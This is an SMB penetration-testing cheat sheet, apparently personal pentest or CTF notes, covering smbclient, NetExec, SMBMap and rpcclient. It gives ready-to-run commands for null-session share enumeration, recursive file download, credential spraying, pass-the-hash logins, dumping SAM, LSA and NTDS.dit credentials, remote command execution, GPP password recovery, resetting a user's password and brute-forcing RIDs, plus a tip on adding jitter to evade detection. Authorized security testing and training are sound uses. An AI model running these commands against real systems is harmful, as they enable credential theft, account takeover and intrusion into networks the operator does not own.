SMB | 445, 139

Modern SMB (like SMBv2/v3) typically uses only TCP 445, while older versions (SMBv1) may use 139 and NetBIOS-related ports.

00. Basic

• Find smb version

sudo tcpdump -s0 -n -i tun0 src $IP and port 139 -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.'        
sudo ngrep -i -d tun0 's.?a.?m.?b.?a.*[[:digit:]]' port 139

smbclient -L //$IP
nmap -p 445,139 --script smb-protocols,smb-system-info,smb-os-discovery $IP
enum4linux -a $IP | tee enum4linux_output.txt

01. SMBclient

## ------------------| Enum
smbclient //$IP

## ------------------| List all shares (Null session)
smbclient -N -L //$IP

## ------------------| List all shares with credentials
smbclient -L //$IP -U '<username>%<password>'

## ------------------| Login to the user
smbclient -U '<UserName>%<Password>' \\\\$IP\\c$

## ------------------| Connect to a specific share (interactive)
smbclient //$IP/<SHARENAME> -U '<username>%<password>'

## ------------------| Connect to a specific share with NT1 protocol (for older SMB versions)
smbclient -N //$IP/<SHARENAME> --option='client min protocol=NT1'

## ------------------| Download all files
smbclient -N //$IP/<SHARENAME> -U <USERNAME> -c "prompt OFF;recurse ON;mget *"

## ------------------| Upload file
put desktop.ini

## ------------------| List info about 
## if it has ACL:Everyone:ALLOWED/OI|CI/FULL we can write/read
smbcacls -N //$IP/Department /Users

## ------------------| Connect to a specific share with other protocols
smbclient -L //$IP -U <username> -m SMB2
smbclient -L //$IP -U <username> -m SMB3
smbclient -L //$IP -U <username> -m NT1

02. NetExec (CrackMapExec)

## ------------------| Enumerate Hosts
nxc smb 192.168.3.201-203
nxc smb 192.168.3.0/24 --ping

## ------------------| List Available Modules
nxc smb $IP -L
nxc smb $IP --shares -L

## ------------------| Tricks
# By default, nxc attempts to authenticate to domain accounts. Use -d WORKGROUP to target local user accounts.
# Use --no-bruteforce to avoid locking out accounts during credential testing.
# Specify --timeout <seconds> to adjust connection timeout for slow networks.
# Use --jitter <seconds> to add random delays between requests to evade detection.

## ------------------| Enumerate Shares / Basic Info
nxc smb $IP
nxc smb $IP --shares
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u 'NonExistentUser' -p '' --shares
nxc smb $IP -u 'NonExistentUser' -H <NThash>
nxc smb $IP -d WORKGROUP -u 'NonExistentUser' -H <NThash>
nxc smb $IP -u 'username' -p 'password' --shares --continue-on-success

## ------------------| Enumerate Active Sessions
nxc smb $IP -u 'username' -p 'password' --sessions

## ------------------| Enumerate Disks
nxc smb $IP -u 'username' -p 'password' --disks

## ------------------| Enumerate Logged-on Users
nxc smb $IP -u 'username' -p 'password' --loggedon-users
nxc smb $IP -u 'username' -p 'password' --loggedon-users --continue-on-success

## ------------------| Enumerate Domain Users
nxc smb $IP -u 'username' -p 'password' --users

## ------------------| Enumerate Users by Bruteforcing RID
nxc smb $IP -u 'username' -p 'password' --rid-brute

## ------------------| Enumerate Domain Groups
nxc smb $IP -u 'username' -p 'password' --groups

## ------------------| Enumerate Local Groups
nxc smb $IP -u 'username' -p 'password' --local-groups

## ------------------| Identify SMB Signing Disabled
nxc smb --gen-relay-list output.txt 10.10.10.0/24

## ------------------| Enumerate Password Policy
# If Account Lockout Threshold: None, bruteforcing is safe
nxc smb $IP --pass-pol
nxc smb $IP -u '' -p '' --pass-pol
nxc smb $IP -u 'username' -p 'password' --pass-pol

## ------------------| Dump SAM/LSA/NTDS.dit
nxc smb $IP -u 'username' -p 'password' --sam
nxc smb $IP -u 'username' -p 'password' --lsa
nxc smb $IP -u 'username' -p 'password' --ntds
nxc smb $IP -u 'username' -p 'password' --ntds vss
nxc smb $IP -u 'username' -p 'password' --ntds drsuapi

## ------------------| Execute Commands
#### PowerShell (-X)
nxc winrm $IP -u 'username' -p 'password' -X "whoami /all"
nxc winrm $IP -u 'username' -p 'password' -X "powershell -c 'Get-Process'"
#### CMD (-x)
nxc winrm $IP -u 'username' -p 'password' -x "whoami /all"

## ------------------| Crawling Shares
nxc smb $IP -u 'username' -p 'password' -M spider_plus
nxc smb $IP -u 'username' -p 'password' -M spider_plus -o OUTPUT_DIR=/tmp/spider
nxc smb $IP -u 'username' -p 'password' -M spider_plus --filter '*.txt|*.docx'
nxc smb $IP -u 'username' -p 'password' -M spider_plus -o EXCLUDE_FILTER='print$,NETLOGON,SYSVOL,IPC$'
### to view spider_plus.json use cat spider_plus.json | jq '. | map_values(keys)'

## ------------------| Credential Spraying
nxc smb $IP -u /path/to/userlist.txt -p 'password' --continue-on-success
nxc smb $IP -u 'username' -p /path/to/passlist.txt --no-bruteforce

## ------------------| Check for Vulnerabilities
nxc smb $IP -u 'username' -p 'password' -M ms17-010
nxc smb $IP -u 'username' -p 'password' -M zerologon
nxc smb $IP -u 'username' -p 'password' -M nopac

## ------------------| Enumerate GPP Passwords
nxc smb $IP -u 'username' -p 'password' -M gpp_autologin
nxc smb $IP -u 'username' -p 'password' -M gpp_password

## ------------------| Download/Upload Files
nxc smb $IP -u 'username' -p 'password' --get-file 'C$\path\to\file.txt' /local/path/file.txt
nxc smb $IP -u 'username' -p 'password' --put-file /local/path/file.txt 'C$\path\to\file.txt'

03. SMBMap

## ------------------| General flags
## -H HOST               IP of host
## --host-file FILE      File containing a list of hosts
## -u USERNAME           Username, if omitted null session assumed
## -p PASSWORD           Password or NTLM hash
## --prompt              Prompt for a password
## -s SHARE              Specify a share (default C$), ex 'C$'
## -d DOMAIN             Domain name (default WORKGROUP)
## -P PORT               SMB port (default 445)
## -v                    Return the OS version of the remote host
## -x COMMAND            Execute a command ex. 'ipconfig /all'
## -L                    List all drives on the specified host (requires ADMIN)
## -r [PATH]             List contents of directory. (Recursively)
## -g FILE               Output to a file in a grep friendly format,
## --dir-only            List only directories, ommit files.
## --depth DEPTH         Traverse a directory tree to a specific depth. 
## --download PATH       Download a file from the remote system,
## --upload              Upload a file to the remote system ex.
## --delete PATH Delete a remote file, ex. 'C$\temp\msf.exe'
## --skip                Skip delete file confirmation prompt

## ------------------| List shares
smbmap -H $IP
smbmap -u 'anonymous' -H $IP
smbmap -u 'anonymous' -p 'anonymous' -H $IP

## ------------------| Recursively list
smbmap -r directory -H $IP

## ------------------| Download file
smbmap -r directory -H $IP -A filename.txt -q

04. RPCClient

## ------------------| Login as user
rpcclient -U 'support' $IP
rpcclient -U 'Administrator:Password' $IP

## ------------------| Null auth
rpcclient -U '' $IP

## ------------------| Enumarations
lookupnames Guest        ### Resolves the "Guest" name to its associated SID.
enumdomusers             ### Enumerates all users in the domain.
queryuser 0x450          ### Retrieves information about the user with the RID `0x450`.
enumprinters             ### Enumerates all printers available in the network.
srvinfo                  ### Retrieves detailed information about the server.
enumdomains              ### Enumerates all domains deployed within the network.
querydominfo             ### Provides detailed information about the domain, server, and users within deployed domains.
netshareenumall          ### Enumerates all available network shares.
queryuser <RID>          ### Provides information about a specific user identified by the RID (Relative Identifier).
netsharegetinfo <share>  ### Retrieves information about a specific network share.

## ------------------| Change users password
setuserinfo2 <UserAccount> 23 '<Password>'

## ------------------| Brute Forcing User RIDs
for i in $(seq 500 1100);do rpcclient -N -U "" $IP -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done